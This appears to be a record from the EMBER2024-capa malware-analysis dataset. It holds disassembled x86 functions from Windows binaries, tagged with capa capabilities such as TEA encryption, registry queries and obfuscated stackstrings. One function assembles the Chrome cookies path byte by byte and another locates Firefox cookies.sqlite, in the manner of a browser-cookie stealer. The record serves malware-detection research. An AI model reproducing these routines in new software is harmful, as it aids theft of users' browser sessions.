joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44ff52
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
and byte [ebp - 0x104], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x103
push dword [ebp + 8]
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.MSVCRT.dll__mbsnbcpy]
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x10
xor edx, edx
test eax, eax
jle 0x44ffb8
cmp byte [ebp + edx - 0x104], 0x2f
lea ecx, [ebp + edx - 0x104]
jne 0x44ffb3
mov byte [ecx], 0x5c
inc edx
cmp edx, eax
jl 0x44ff9f
mov edi, dword [sym.imp.MSVCRT.dll__mbscmp]
lea esi, [ebp - 0x104]
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll__mbschr]
pop ecx
test eax, eax
pop ecx
je 0x45001a
mov bl, byte [eax + 1]
lea esi, [eax + 1]
test bl, bl
je 0x450028
and byte [esi], 0
lea eax, [ebp - 0x104]
push eax
push 0x46993c
call edi
pop ecx
test eax, eax
pop ecx
je 0x450016
lea eax, [ebp - 0x104]
push eax
push 0x469938
call edi
pop ecx
test eax, eax
pop ecx
je 0x450016
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.MSVCRT.dll__mkdir]
pop ecx
mov byte [esi], bl
jmp 0x44ffc4
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.MSVCRT.dll__mkdir]
pop ecx
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__mkdir]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x450ff0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x94
xor eax, eax
mov edx, dword [esp + 0x98]
mov dword [esp + 9], eax
push ebx
mov dword [esp + 0x11], eax
mov ebx, ecx
mov ecx, dword [esp + 0xa8]
mov word [esp + 0x15], ax
mov byte [esp + 0x17], al
mov dword [esp + 8], eax
mov eax, dword [ebx + 8]
mov dword [esp + 0xc], ecx
test eax, eax
mov dword [esp + 0x14], edx
je 0x451136
mov eax, dword [str.EPIPEMAGQQ]
mov ecx, dword [0x469a00]
mov dx, word [0x469a04]
mov dword [esp + 0x18], eax
mov al, byte [0x469a06]
push ebp
push esi
push edi
mov dword [esp + 0x28], ecx
mov byte [esp + 0x2e], al
mov ecx, 0x1d
xor eax, eax
lea edi, [esp + 0x2f]
mov word [esp + 0x2c], dx
rep stosd dword es:[edi], eax
mov edx, dword [ebx + 0x24]
lea esi, [ebx + 0x24]
stosb byte es:[edi], al
mov edi, dword [esp + 0xac]
mov ecx, esi
push edi
call dword [edx]
push eax
mov dword [esp + 0x14], eax
call sub.MFC42.DLL_operatornew
add esp, 4
lea ecx, [esp + 0x10]
mov ebp, eax
mov eax, dword [esi]
push ecx
mov ecx, dword [esp + 0xb4]
lea edx, [esp + 0x28]
push ebp
push edx
push edi
push ecx
mov ecx, esi
call dword [eax + 4]
mov edx, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [ebx + 0x10]
lea eax, [esp + 0x14]
push esi
mov dword [esp + 0x20], edx
mov edx, dword [ebx + 8]
push eax
lea ecx, [esp + 0x20]
push 0xc
push ecx
push edx
call edi
test eax, eax
jne 0x45110e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xc
push eax
mov ecx, ebx
call fcn.00451170
cmp eax, 1
jne 0x45112a
mov ecx, dword [esp + 0x10]
mov edx, dword [ebx + 8]
lea eax, [esp + 0x14]
push esi
push eax
push ecx
push ebp
push edx
call edi
test eax, eax
jne 0x451117
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x10]
push ecx
push eax
mov ecx, ebx
call fcn.00451170
jmp 0x45112a
cmp dword [esp + 0x14], 0xc
je 0x4510e3
jmp 0x451123
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
cmp edx, eax
je 0x45112a
mov ecx, ebx
call fcn.004511c0
push ebp
call sub.MFC42.DLL_operatordelete
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x94
ret 0x10

Function at 0x451260
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, ecx
mov ecx, dword [esp + 0xc]
mov dword [esi + 4], eax
mov dword [0x4d858c], ecx
mov ecx, esi
call fcn.004515a0
mov eax, dword [esi + 4]
lea edx, [esp + 8]
push edx
push 0
push eax
push 0x4512b0
push 0
push 0
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
ret 8
Function at 0x451910
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x24]
mov eax, dword [edi]
push eax
call sub.WS2_32.dll_ntohl
mov ecx, dword [edi + 4]
mov esi, eax
push ecx
call sub.WS2_32.dll_ntohl
mov ebp, dword [esp + 0x28]
lea edx, [esp + 0x10]
mov edi, eax
lea ebx, [esp + 0x10]
sub ebp, edx
mov dword [esp + 0x24], 4
mov eax, dword [ebx + ebp]
push eax
call sub.WS2_32.dll_ntohl
mov dword [ebx], eax
mov eax, dword [esp + 0x24]
add ebx, 4
dec eax
mov dword [esp + 0x24], eax
jne 0x451946
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp + 0x24], 0x10
mov ebx, dword [esp + 0x14]
mov ebp, dword [esp + 0x10]
mov edx, edi
sub eax, 0x61c88647
shr edx, 5
add edx, ebx
mov ebx, edi
shl ebx, 4
add ebx, ebp
mov ebp, dword [esp + 0x18]
xor edx, ebx
lea ebx, [eax + edi]
xor edx, ebx
add esi, edx
mov edx, esi
mov ebx, esi
shr edx, 5
shl ebx, 4
add edx, ecx
add ebx, ebp
xor edx, ebx
lea ebx, [eax + esi]
xor edx, ebx
add edi, edx
mov edx, dword [esp + 0x24]
dec edx
mov dword [esp + 0x24], edx
jne 0x45196d
push esi
call sub.WS2_32.dll_htonl
mov esi, dword [esp + 0x2c]
push edi
mov dword [esi], eax
call sub.WS2_32.dll_htonl
mov dword [esi + 4], eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x4519e0
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, dword [esp + 0x20]
push edi
mov eax, dword [esi]
push eax
call sub.WS2_32.dll_ntohl
mov ecx, dword [esi + 4]
mov edi, eax
push ecx
call sub.WS2_32.dll_ntohl
mov ebp, dword [esp + 0x28]
lea edx, [esp + 0x10]
mov esi, eax
lea ebx, [esp + 0x10]
sub ebp, edx
mov dword [esp + 0x24], 4
mov eax, dword [ebx + ebp]
push eax
call sub.WS2_32.dll_ntohl
mov dword [ebx], eax
mov eax, dword [esp + 0x24]
add ebx, 4
dec eax
mov dword [esp + 0x24], eax
jne 0x451a16
mov ecx, dword [esp + 0x14]
mov eax, 0xe3779b90
mov dword [esp + 0x24], 0x10
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x18]
mov edx, edi
shr edx, 5
add edx, ebx
mov ebx, edi
shl ebx, 4
add ebx, ebp
mov ebp, dword [esp + 0x10]
xor edx, ebx
lea ebx, [eax + edi]
xor edx, ebx
sub esi, edx
mov edx, esi
mov ebx, esi
shr edx, 5
shl ebx, 4
add edx, ecx
add ebx, ebp
xor edx, ebx
lea ebx, [eax + esi]
xor edx, ebx
add eax, 0x61c88647
sub edi, edx
mov edx, dword [esp + 0x24]
dec edx
mov dword [esp + 0x24], edx
jne 0x451a40
push edi
call sub.WS2_32.dll_htonl
mov edi, dword [esp + 0x2c]
push esi
mov dword [edi], eax
call sub.WS2_32.dll_htonl
mov dword [edi + 4], eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x411b84
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov dword [ebp - 0x14], 1
and dword [ebp - 0x10], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x20], 0
and dword [ebp - 0x44], 0
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
or dword [ebp - 0x18], 0xffffffff
and dword [ebp - 8], 0
mov dword [ebp - 0x40], 0x64616f4c
mov dword [ebp - 0x3c], 0x6f736552
mov dword [ebp - 0x38], 0x65637275
and dword [ebp - 0x34], 0
lea eax, [ebp - 0x40]
push eax
push 0x4092f0
call dword [0x409104]
push eax
call dword [0x4090f4]
mov dword [ebp - 8], eax
push 0x409300
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 0xc]
call dword [0x4090c8]
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
push dword [ebp + 0xc]
call dword [0x4090e8]
mov dword [ebp - 4], eax
push dword [ebp - 0x20]
push dword [ebp + 0xc]
call dword [ebp - 8]
mov dword [ebp - 0x44], eax
push dword [ebp - 0x44]
call dword [0x4090fc]
cmp dword [ebp + 0x10], 0x65
jne 0x411c2a
mov dword [ebp - 0x1c], 0x843
cmp dword [ebp + 0x10], 0x66
jne 0x411c37
mov dword [ebp - 0x1c], 0x976
push dword [ebp - 4]
call fcn.004194e5
pop ecx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
push dword [ebp - 0x44]
push dword [ebp - 0x10]
call fcn.004194d3
add esp, 0xc
push 0
push dword [ebp - 0x1c]
push dword [ebp - 4]
push dword [ebp - 0x10]
call int.00411697
push 0
push dword [ebp + 0x14]
push 2
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [fcn.004090c4]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x411c94
and dword [ebp - 0x14], 0
jmp 0x411ca9
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push dword [ebp - 0x10]
push dword [ebp - 0x18]
call dword [fcn.004090e0]
cmp dword [ebp - 0x10], 0
je 0x411cbe
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
call fcn.004194df
pop ecx
cmp dword [ebp - 0x44], 0
je 0x411ccd
push dword [ebp - 0x44]
call dword [0x4090cc]
cmp dword [ebp - 0x18], 0xffffffff
je 0x411cdc
push dword [ebp - 0x18]
call dword [fcn.00409110]
mov eax, dword [ebp - 0x14]
leave
ret 0x10
Function at 0x413561
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
or dword [ebp - 4], 0xffffffff
cmp dword [0x40dc64], 0
jne 0x4135ee
push 0x400
call fcn.004194e5
pop ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [0x40dc64], eax
and dword [ebp - 8], 0
jmp 0x413597
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x4135ee
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 8
jmp 0x4135b6
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x4135dd
mov eax, dword [ebp - 0xc]
and eax, 1
je 0x4135d3
mov eax, dword [ebp - 0xc]
shr eax, 1
xor eax, 0xedb88320
mov dword [ebp - 0xc], eax
jmp 0x4135db
mov eax, dword [ebp - 0xc]
shr eax, 1
mov dword [ebp - 0xc], eax
jmp 0x4135af
mov eax, dword [ebp - 8]
mov ecx, dword [0x40dc64]
mov edx, dword [ebp - 0xc]
mov dword [ecx + eax*4], edx
jmp 0x413590
and dword [ebp - 0x14], 0
jmp 0x4135fb
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jae 0x413637
and dword [ebp - 0x18], 0
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
movsx eax, byte [eax]
xor eax, dword [ebp - 4]
and eax, 0xff
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
shr eax, 8
and eax, 0xffffff
mov ecx, dword [ebp - 0x18]
mov edx, dword [0x40dc64]
xor eax, dword [edx + ecx*4]
mov dword [ebp - 4], eax
jmp 0x4135f4
mov eax, dword [ebp - 4]
not eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret 8

Function at 0x414e83
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
and dword [eax + 0x14], 0
mov eax, dword [ebp + 8]
and dword [eax + 0x10], 0
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0x98badcfe
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0x10325476
pop ebp
ret 4
Function at 0x4183a2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 0x40], 0
mov dword [ebp - 8], 0x4000
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 0
push 0
push 2
call fcn.00419515
test eax, eax
je 0x4183dd
jmp 0x41857e
push dword [ebp - 8]
push 0x40
call dword [0x4090b8]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4183f6
jmp 0x41857e
mov dword [ebp - 0x3c], 0x74654e57
mov dword [ebp - 0x38], 0x6d756e45
mov dword [ebp - 0x34], 0x6f736552
mov dword [ebp - 0x30], 0x65637275
mov dword [ebp - 0x2c], 0x41
lea eax, [ebp - 0x3c]
push eax
push 0x409e70
call dword [0x409104]
push eax
call dword [0x4090f4]
mov dword [ebp - 0x10], eax
push dword [ebp - 8]
push 0
push dword [ebp - 0xc]
call fcn.004194d9
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [ebp - 0x10]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x418555
and dword [ebp - 0x44], 0
jmp 0x41846d
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x14]
jae 0x418553
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 1
je 0x41852d
or dword [ebp - 0x154], 0xffffffff
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x409e78
lea eax, [ebp - 0x150]
push eax
call dword [fcn.00409210]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x150]
push eax
call dword [fcn.004090c4]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xffffffff
je 0x41852d
push dword [ebp - 0x154]
call dword [fcn.00409110]
lea eax, [ebp - 0x150]
push eax
call dword [0x409118]
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x409a34
lea eax, [ebp - 0x150]
push eax
call dword [fcn.00409210]
add esp, 0xc
lea eax, [ebp - 0x150]
push eax
call fcn.004167ed
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 2
je 0x41854e
mov eax, dword [ebp - 0x44]
shl eax, 5
add eax, dword [ebp - 0xc]
push eax
call fcn.004183a2
jmp 0x418466
jmp 0x418560
cmp dword [ebp - 0x40], 0x103
je 0x418560
jmp 0x41856d
cmp dword [ebp - 0x40], 0x103
jne 0x418432
push dword [ebp - 0xc]
call dword [0x4090a0]
push dword [ebp - 4]
call fcn.0041950f
leave
ret 4
Function at 0x1000106b
Capabilities:
Contain obfuscated stackstrings
Gather firefox profile information
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push ebx
push esi
lea eax, [ebp - 0x334]
push edi
mov esi, ecx
push eax
call fcn.10001ef4
lea eax, [ebp - 0x438]
push eax
call fcn.10001f8c
and byte [ebp - 1], 0
mov edi, 0x104
lea ebx, [esi + 0x118]
push edi
push 0
push ebx
mov byte [ebp - 0x28], 0x47
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x67
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x68
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x6f
mov byte [ebp - 0x1d], 0x6d
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x5c
mov byte [ebp - 0x1a], 0x55
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x20
mov byte [ebp - 0x15], 0x44
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x5c
mov byte [ebp - 0x10], 0x44
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x66
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x5c
mov byte [ebp - 8], 0x43
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x6f
mov byte [ebp - 5], 0x6b
mov byte [ebp - 4], 0x69
mov byte [ebp - 3], 0x65
mov byte [ebp - 2], 0x73
call sub.MSVCRT.dll_memset
add esp, 0x14
lea eax, [ebp - 0x28]
and dword [esi + 0x528], 0
push eax
lea eax, [ebp - 0x438]
push eax
push 0x10007074
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
call ebx
lea eax, [esi + 0x118]
push 0
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x18
test eax, eax
jne 0x10001188
mov dword [esi + 0x528], 1
lea eax, [esi + 0x21c]
push edi
push 0
push eax
call sub.MSVCRT.dll_memset
and dword [esi + 0x52c], 0
push edi
lea eax, [ebp - 0x230]
push 0
push eax
call sub.MSVCRT.dll_memset
push edi
lea eax, [ebp - 0x12c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x24
lea eax, [ebp - 0x334]
push eax
lea eax, [ebp - 0x230]
push str._sMozillaFirefoxprofiles.ini
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x12c]
push edi
push eax
push 0x10007344
push str.Path
push str.Profile0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x1000703c
lea eax, [ebp - 0x12c]
push 0x10007038
push eax
call fcn.10002090
add esp, 0xc
lea eax, [ebp - 0x12c]
lea edi, [esi + 0x21c]
push eax
lea eax, [ebp - 0x334]
push eax
push str._sMozillaFirefox_scookies.sqlite
push edi
call ebx
push 0
push edi
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x18
test eax, eax
jne 0x1000124a
mov dword [esi + 0x52c], 1
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001a84
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
push esi
lea eax, [ebp - 0x118]
push edi
push eax
mov esi, ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x118]
lea edi, [esi + 0x14]
push eax
push str._sTime.inf
push edi
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x14]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x14
push eax
push 0x10007158
push str.chrome
push str.CKTime
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_sscanf]
lea eax, [esi + 0x538]
push eax
lea eax, [ebp - 0x14]
push str._I64d
push eax
call ebx
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [esi + 0x14]
push eax
lea eax, [ebp - 0x14]
push 0x14
push eax
push 0x10007158
push str.firefox
push str.CKTime
call edi
add esi, 0x548
lea eax, [ebp - 0x14]
push esi
push str._I64d
push eax
call ebx
add esp, 0xc
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10001b80
Capabilities:
Create thread

Disassembly:
push ecx
push esi
mov esi, ecx
push 0xee60
and dword [esi + 0xc], 0
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [esi + 8], eax
pop ecx
lea eax, [esp + 4]
mov dword [esi + 0x10], 0x400
push eax
push 0
push esi
push 0x10001b48
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
pop esi
je 0x10001bc2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10001bc8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 1
pop eax
pop ecx
ret
Function at 0x10001ced
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, 0x104
push edi
xor ebx, ebx
push esi
lea eax, [ebp - 0x218]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push esi
lea eax, [ebp - 0x114]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x218]
push dword [ebp + 8]
push eax
lea eax, [ebp - 0x114]
push str._s_s
push eax
call edi
lea eax, [ebp - 0x114]
push ebx
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x18
test eax, eax
je 0x10001d71
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.MSVCRT.dll__mkdir]
pop ecx
push esi
push ebx
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memset
push esi
push ebx
push dword [ebp + 0x10]
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push ebx
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
pop ecx
call dword [sym.imp.MSVCRT.dll_rand]
mov esi, eax
movzx eax, word [ebp - 4]
push esi
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
lea eax, [ebp - 0x114]
push eax
push str._s_04d_02d_02d_02d_02d_02d__u.t
push dword [ebp + 0xc]
call edi
movzx eax, word [ebp - 4]
add esp, 0x28
push esi
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
lea eax, [ebp - 0x114]
push eax
push str._s_04d_02d_02d_02d_02d_02d__u.a
push dword [ebp + 0x10]
call edi
add esp, 0x28
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10001e18
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x10001e6d
cmp esi, 0xffffffff
je 0x10001e6d
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.10001cb9
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_rename]
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp 0x10001e6f
xor eax, eax
pop esi
pop ebp
ret
Function at 0x10001ef4
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
cmp dword [ebp + 8], 0
je 0x10001f88
push 0x104
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001f88
lea eax, [ebp - 8]
push edi
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.AppData
mov dword [ebp - 8], 0x211
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x10001f88
cmp dword [ebp - 0xc], 1
jne 0x10001f88
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
pop eax
leave
ret
xor eax, eax
leave
ret

Function at 0x10001f8c
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
cmp dword [ebp + 8], 0
je 0x10002020
push 0x104
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002020
lea eax, [ebp - 8]
push edi
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.Local_AppData
mov dword [ebp - 8], 0x211
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x10002020
cmp dword [ebp - 0xc], 1
jne 0x10002020
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
pop eax
leave
ret
xor eax, eax
leave
ret